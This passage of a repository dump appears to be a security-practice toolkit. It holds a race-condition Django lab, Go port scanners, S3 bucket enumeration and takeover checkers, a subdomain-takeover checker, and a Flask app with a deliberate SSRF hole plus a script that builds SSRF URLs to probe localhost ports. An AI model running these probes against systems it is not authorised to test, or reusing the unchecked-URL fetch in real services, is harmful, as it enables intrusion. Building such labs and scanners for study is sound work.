98 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
99 | },
100 | {
101 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
102 | },
103 | {
104 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
105 | },
106 | ]
107 |
108 |
109 | # Internationalization
110 | # https://docs.djangoproject.com/en/3.1/topics/i18n/
111 |
112 | LANGUAGE_CODE = 'en-us'
113 |
114 | TIME_ZONE = 'UTC'
115 |
116 | USE_I18N = True
117 |
118 | USE_L10N = True
119 |
120 | USE_TZ = True
121 |
122 |
123 | # Static files (CSS, JavaScript, Images)
124 | # https://docs.djangoproject.com/en/3.1/howto/static-files/
125 |
126 | STATIC_URL = '/static/'
127 | STATIC_ROOT = os.path.join(BASE_DIR, 'static')
128 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/project/urls.py:
--------------------------------------------------------------------------------
1 | """project URL Configuration
2 |
3 | The `urlpatterns` list routes URLs to views. For more information please see:
4 | https://docs.djangoproject.com/en/3.1/topics/http/urls/
5 | Examples:
6 | Function views
7 | 1. Add an import: from my_app import views
8 | 2. Add a URL to urlpatterns: path('', views.home, name='home')
9 | Class-based views
10 | 1. Add an import: from other_app.views import Home
11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
12 | Including another URLconf
13 | 1. Import the include() function: from django.urls import include, path
14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
15 | """
16 | from django.contrib import admin
17 | from django.urls import include, path
18 |
19 | urlpatterns = [
20 | path('admin/', admin.site.urls),
21 | path('demo/', include('demo.urls')),
22 | ]
23 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/project/wsgi.py:
--------------------------------------------------------------------------------
1 | """
2 | WSGI config for project project.
3 |
4 | It exposes the WSGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/3.1/howto/deployment/wsgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.wsgi import get_wsgi_application
13 |
14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings')
15 |
16 | application = get_wsgi_application()
17 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/requirements.txt:
--------------------------------------------------------------------------------
1 | asgiref==3.3.4
2 | django==3.2.1
3 | gunicorn==20.0.4
4 | mysqlclient==2.0.3
5 | pytz==2020.5
6 | sqlparse==0.4.1
7 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/scripts/entrypoint.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | set -e
3 |
4 |
5 | python scripts/wait_for_mysql.py
6 | python manage.py makemigrations
7 | python manage.py migrate
8 | python manage.py collectstatic --noinput
9 | gunicorn project.wsgi:application --workers $GUNICORN_WORKERS --bind 0.0.0.0:8000
10 |
--------------------------------------------------------------------------------
/race_condition/race_app/racy-django/project/scripts/wait_for_mysql.py:
--------------------------------------------------------------------------------
1 | # /usr/bin/env python3
2 |
3 | import os
4 | from time import sleep
5 |
6 | from MySQLdb import _mysql
7 | from MySQLdb._exceptions import OperationalError
8 |
9 | NUM_TRIES = 100
10 | POLL_INTERVAL = 5
11 |
12 | if __name__ == "__main__":
13 | while NUM_TRIES:
14 | try:
15 | print(f"Waiting for MySQL for {POLL_INTERVAL} seconds ({NUM_TRIES} tries remaining)")
16 | _mysql.connect(
17 | host=os.environ["MYSQL_HOST"],
18 | user=os.environ["MYSQL_USER"],
19 | passwd=os.environ["MYSQL_PASSWORD"],
20 | db=os.environ["MYSQL_DATABASE"],
21 | )
22 | print("MySQL is now ready.")
23 | exit(0)
24 | except OperationalError:
25 | sleep(POLL_INTERVAL)
26 | NUM_TRIES -= 1
27 | print("Failed to wait for MySQL.")
28 | exit(1)
29 |
--------------------------------------------------------------------------------
/recon/arvan/cdn_finder/cdn_finder.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "net/http"
8 | )
9 |
10 | func HttpGet(url string) {
11 | req, err := http.NewRequest("GET", url, nil)
12 | if err != nil {
13 | panic(err)
14 | }
15 | client := new(http.Client)
16 | response, err := client.Do(req)
17 | if err != nil {
18 | log.Fatal(err)
19 | }
20 | if response.Header.Get("ar-request-id") != "" {
21 | fmt.Println("[+++] This site use arvancloud cdn.")
22 | }
23 | }
24 | func main() {
25 | domain := flag.String("domain", "", "Please add your domain address for scanning ...")
26 | flag.Parse()
27 | flag.VisitAll(func(f *flag.Flag) {
28 | ipValue := f.Value.String()
29 | if ipValue == "" {
30 | log.Fatal("Error : please add domain address")
31 | }
32 | })
33 |
34 | HttpGet(*domain)
35 | }
36 |
--------------------------------------------------------------------------------
/recon/arvan/s3_bucket_enum/ar_s3_enum.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "io/ioutil"
6 | "log"
7 | "net/http"
8 | )
9 |
10 | func GetXML(url string) ([]byte, error) {
11 | resp, err := http.Get(url)
12 | if err != nil {
13 | return []byte{}, err
14 | }
15 | defer resp.Body.Close()
16 | if resp.StatusCode != http.StatusOK {
17 | return []byte{}, fmt.Errorf("Status error")
18 | }
19 | data, err := ioutil.ReadAll(resp.Body)
20 | if err != nil {
21 | return []byte{}, fmt.Errorf("data error")
22 | }
23 | return data, nil
24 | }
25 |
26 | func main() {
27 | const url = "https://s3.ir-thr-at1.arvanstorage.com/"
28 |
29 | var wordlist = []string{
30 | "google",
31 | "qwe",
32 | "ada",
33 | }
34 | for _, word := range wordlist {
35 | newUrl := url + word
36 | fmt.Println("[+++] URL is : ", newUrl)
37 | if xmlByte, err := GetXML(newUrl); err != nil {
38 | log.Printf("Failed to get xml %v", err)
39 | } else {
40 | fmt.Println(string(xmlByte))
41 | }
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/recon/portscan/portscanslow.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "net"
8 | )
9 |
10 | func main() {
11 |
12 | ip := flag.String("ip", "", "Please add your ip address for scanning ...")
13 | flag.Parse()
14 | flag.VisitAll(func(f *flag.Flag) {
15 | ipValue := f.Value.String()
16 | if ipValue == "" {
17 | log.Fatal("Error : please add ip address")
18 | }
19 | })
20 | ports := []string{
21 | "21", "22", "25", "80", "2100", "8080", "8090", "8990",
22 | }
23 | for _, p := range ports {
24 | address := *ip + ":" + p
25 | connection, err := net.Dial("tcp", address)
26 | if err == nil {
27 | fmt.Println("[+] Connected", connection.RemoteAddr().String())
28 | } else {
29 | fmt.Println("[-] Port " + p + " Closed")
30 | }
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/recon/portscanfast/portscanfast.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "net"
8 | "strconv"
9 | "sync"
10 | )
11 |
12 | func PortScan(ip string, port string, wg *sync.WaitGroup) {
13 | defer wg.Done()
14 | address := ip + ":" + port
15 | connection, err := net.Dial("tcp", address)
16 | if err == nil {
17 | fmt.Println("[+] Connected", connection.RemoteAddr().String())
18 | } else {
19 | fmt.Println("[-] Port " + port + " Closed")
20 | }
21 | }
22 |
23 | func main() {
24 | ip := flag.String("ip", "", "Please add your ip address for scanning ...")
25 | flag.Parse()
26 | flag.VisitAll(func(f *flag.Flag) {
27 | ipValue := f.Value.String()
28 | if ipValue == "" {
29 | log.Fatal("Error : please add ip address")
30 | }
31 | })
32 |
33 | var ptr []int
34 | ptrStr := []string{}
35 | allP := make([]int, 65536)
36 | for p := range allP {
37 | ptr = append(ptr, p)
38 | }
39 | for i := range ptr {
40 | n := ptr[i]
41 | text := strconv.Itoa(n)
42 | ptrStr = append(ptrStr, text)
43 | }
44 | var wg sync.WaitGroup
45 | for _, p := range ptrStr {
46 | wg.Add(1)
47 | go PortScan(*ip, p, &wg)
48 | }
49 | wg.Wait()
50 | }
51 |
--------------------------------------------------------------------------------
/recon/portscannoauthdb/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "flag"
5 | "fmt"
6 | "log"
7 | "net"
8 | "sync"
9 | )
10 |
11 | // MongoDb
12 | // Redis
13 | // Memcatch
14 | // jenkins
15 | // hood Hbase
16 | // Elasticsearch
17 | // Casandra db
18 |
19 | func PortScan(ip string, port string, wg *sync.WaitGroup) {
20 | defer wg.Done()
21 | address := ip + ":" + port
22 | connection, err := net.Dial("tcp", address)
23 | if err == nil {
24 | fmt.Println("[+] Connected", connection.RemoteAddr().String())
25 | } else {
26 | fmt.Println("[-] Port " + port + " Closed")
27 | }
28 | }
29 |
30 | func main() {
31 | ip := flag.String("ip", "", "Please add your ip address for scanning ...")
32 | flag.Parse()
33 | flag.VisitAll(func(f *flag.Flag) {
34 | ipValue := f.Value.String()
35 | if ipValue == "" {
36 | log.Fatal("Error : please add ip address")
37 | }
38 | })
39 | ports := []string{
40 | "27017", "6379", "11211", "5984", "8080", "80", "2003", "50470", "8020", "9000", "9200",
41 | }
42 |
43 | var wg sync.WaitGroup
44 | for _, port := range ports {
45 | wg.Add(1)
46 | go PortScan(*ip, port, &wg)
47 | }
48 | wg.Wait()
49 | }
50 |
--------------------------------------------------------------------------------
/s3bucket_takeover/README.md:
--------------------------------------------------------------------------------
1 |
2 | Download:
3 |
4 | https://s3.ir-thr-at1.arvanstorage.com/adsad/ravro.exe
5 |
6 |
--------------------------------------------------------------------------------
/s3bucket_takeover/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "io/ioutil"
6 | "log"
7 | "mvdan.cc/xurls/v2"
8 | "net/http"
9 | "os"
10 | "strings"
11 | )
12 |
13 | func OpenFile() string {
14 |
15 | jsonFile, err := os.Open("README.md")
16 | if err != nil {
17 | log.Fatalln(err)
18 | }
19 | defer func(jsonFile *os.File) {
20 | err := jsonFile.Close()
21 | if err != nil {
22 | log.Fatal(err)
23 | }
24 | }(jsonFile)
25 | byteValue, _ := ioutil.ReadAll(jsonFile)
26 |
27 | return string(byteValue)
28 |
29 | }
30 |
31 | func GetXML(url string) (string, error) {
32 | resp, err := http.Get(url)
33 | if err != nil {
34 | return "", err
35 | }
36 | defer resp.Body.Close()
37 | data, err := ioutil.ReadAll(resp.Body)
38 | if err != nil {
39 | return "", fmt.Errorf("data error")
40 | }
41 | return string(data), nil
42 | }
43 |
44 | func main() {
45 | const pattern = "s3.ir-thr-at1.arvanstorage.com"
46 | fileData := OpenFile()
47 | rxStrict := xurls.Strict()
48 | out := rxStrict.FindAllString(fileData, -1)
49 | for _, value := range out {
50 | status := strings.Contains(value, pattern)
51 | if status {
52 | xmlData, _ := GetXML(value)
53 | if xmlData != "" {
54 | checkBucket := strings.Contains(xmlData, "NoSuchBucket
")
55 | if checkBucket {
56 | fmt.Println("[++++] Potential S3 Bucket Take Over")
57 | }
58 |
59 | }
60 | }
61 |
62 | }
63 |
64 | }
65 |
--------------------------------------------------------------------------------
/ssrf/example/service.py:
--------------------------------------------------------------------------------
1 | ## Usage : python2 service.py
2 | import socket
3 | import BaseHTTPServer
4 | from SimpleHTTPServer import SimpleHTTPRequestHandler
5 |
6 | # Announce the IP address and port we will serve on
7 | port = 8000
8 | print("Serving on %s:%s") % (socket.gethostbyname(socket.getfqdn()), port)
9 |
10 | # Start a server to accept traffic
11 | addr = ("127.0.0.1", port)
12 | server = BaseHTTPServer.HTTPServer(addr, SimpleHTTPRequestHandler)
13 | server.serve_forever()
14 |
--------------------------------------------------------------------------------
/ssrf/example/ssrf.py:
--------------------------------------------------------------------------------
1 | # Usage: python3 ssrf.py
2 | from flask import Flask, abort, request
3 | import json
4 | import re
5 | import subprocess
6 | import requests
7 |
8 | app = Flask(__name__)
9 |
10 | @app.route("/")
11 | def hello():
12 | return "SSRF Example!"
13 |
14 | @app.route("/ssrf", methods=['GET'])
15 | def ssrf1():
16 | data = request.values
17 | res = requests.get(data.get('url'))
18 | return res.content
19 |
20 |
21 | if __name__ == '__main__':
22 | app.run(host='0.0.0.0', port=5000, debug=True)
23 |
--------------------------------------------------------------------------------
/ssrf/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "io/ioutil"
6 | "log"
7 | "net/http"
8 | "strconv"
9 | )
10 |
11 | func HttpGet(url string) string {
12 | req, err := http.NewRequest("GET", url, nil)
13 | if err != nil {
14 | panic(err)
15 | }
16 | client := new(http.Client)
17 | response, err := client.Do(req)
18 | if err != nil {
19 | log.Fatal(err)
20 | }
21 | body, err := ioutil.ReadAll(response.Body)
22 | if err != nil {
23 | log.Fatal(err)
24 | }
25 | return string(body)
26 | }
27 |
28 | func main() {
29 |
30 | var ptr []int
31 | ptrStr := []string{}
32 | allP := make([]int, 65536)
33 | for p := range allP {
34 | ptr = append(ptr, p)
35 | }
36 | for i := range ptr {
37 | n := ptr[i]
38 | text := strconv.Itoa(n)
39 | ptrStr = append(ptrStr, text)
40 | }
41 |
42 | ports := []string{
43 | "21", "22", "23", "8000", "8090",
44 | }
45 | for _, p := range ports {
46 | url := fmt.Sprintf("http://192.168.0.102:5000/ssrf?url=http://127.0.0.1:%s", p)
47 | //fmt.Println(HttpGet(url))
48 | fmt.Println(url)
49 | }
50 |
51 | }
52 |
--------------------------------------------------------------------------------
/subdomain_takeover/main.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "errors"
5 | "fmt"
6 | "github.com/miekg/dns"
7 | "io/ioutil"
8 | "log"
9 | "net/http"
10 | "strings"
11 | )
12 |
13 | func HttpGet(url string) string {
14 | req, err := http.NewRequest("GET", url, nil)
15 | if err != nil {
16 | panic(err)
17 | }
18 | client := new(http.Client)
19 | response, err := client.Do(req)
20 | if err != nil {
21 | log.Fatal(err)
22 | }
23 | body, err := ioutil.ReadAll(response.Body)
24 | if err != nil {
25 | log.Fatal(err)
26 | }
27 | return string(body)
28 | }
29 |
30 | func LookUpCNAME(domain string) ([]string, error) {
31 | var m dns.Msg
32 | var cnames []string
33 | m.SetQuestion(dns.Fqdn(domain), dns.TypeCNAME)
34 | in, err := dns.Exchange(&m, "8.8.8.8:53")
35 | if err != nil {
36 | return cnames, err
37 | }
38 | if len(in.Answer) < 1 {
39 | return cnames, errors.New("No Answer")
40 | }
41 | for _, answer := range in.Answer {
42 | if c, ok := answer.(*dns.CNAME); ok {
43 | cnames = append(cnames, c.Target)
44 | }
45 | }
46 | return cnames, nil
47 | }
48 |
49 | func main() {
50 |
51 | out, err := LookUpCNAME("testforlive.ravro.ir")
52 | if err != nil {
53 | log.Fatal(err)
54 | }
55 | for _, data := range out {
56 | data = strings.Replace(data, "com.", "com", -1)
57 | url := fmt.Sprintf("https://%s", data)
58 | htmlData := HttpGet(url)
59 | status := strings.Contains(htmlData, "There isn't a GitHub Pages site here.")
60 | if status {
61 | fmt.Println("[++++] Potential github sub domain take over")
62 | } else {
63 | fmt.Println("[----] There isn't github sub domain take over")
64 | }
65 |
66 | }
67 |
68 | }
69 |
--------------------------------------------------------------------------------